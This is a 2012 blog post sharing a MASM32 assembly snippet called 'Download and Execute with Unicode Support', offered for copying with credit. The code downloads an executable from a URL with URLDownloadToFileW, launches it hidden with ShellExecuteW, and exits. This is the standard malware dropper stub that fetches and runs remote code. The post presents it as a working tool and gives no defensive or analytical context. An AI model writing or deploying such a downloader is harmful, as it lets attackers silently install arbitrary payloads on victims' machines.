Saturday, April 7, 2012

[MASM] Download and Execute with Unicode Support


I have started MASM32 Language. For those who doesn't know what is MASM here is the info http://www.masm32.com/.
Its a Microsoft Assembler programming language.
Here is my first snippet in MASM.

MASM32 Download Execute with Unicode Support (This Snippet works even with arabic or chinese systems)

;Author SubhashDasyam
;Date   07-April-2012
;Language MASM
;This Download and execute is basic coding in MASM32 with Unicode support
;if you copy please leave credits
;Works for both x64 and x86 systems Tested
;Made with Windows 7 64 bit
;Filesize 2560 Bytes
.386
.model flat,stdcall
option casemap:none    

;Include Libraries 

    include         \masm32\include\kernel32.inc
    includelib      \masm32\lib\kernel32.lib

    include         \masm32\include\shell32.inc
    includelib      \masm32\lib\shell32.lib

    include         \masm32\include\urlmon.inc
    includelib      \masm32\lib\urlmon.lib  

    include         \masm32\macros\macros.asm ;used for Unicode string for easier USE and understandable

;Data Section    
 
.data

    WSTR    szFileName,"unicode.exe",0 ;Unicode String the Filename you want to Write as with Null terminated
    WSTR    szURL,"http://localhost/unicode.exe",0 ;The URL you want to Download from
    
.code
start:
    Invoke URLDownloadToFileW,0,ADDR szURL,ADDR szFileName,0,0 ;Unicode URLDownloadToFileW Win32 API Function Downloads the URL and Stores in same place
    Invoke ShellExecuteW, 0,0,ADDR szFileName,0,0,0;This executes the Downloaded File from Same Place
    Invoke ExitProcess,0 ; After Execution Exit the process
    
end start




0 comments for "[MASM] Download and Execute with Unicode Support"

Post a Comment

background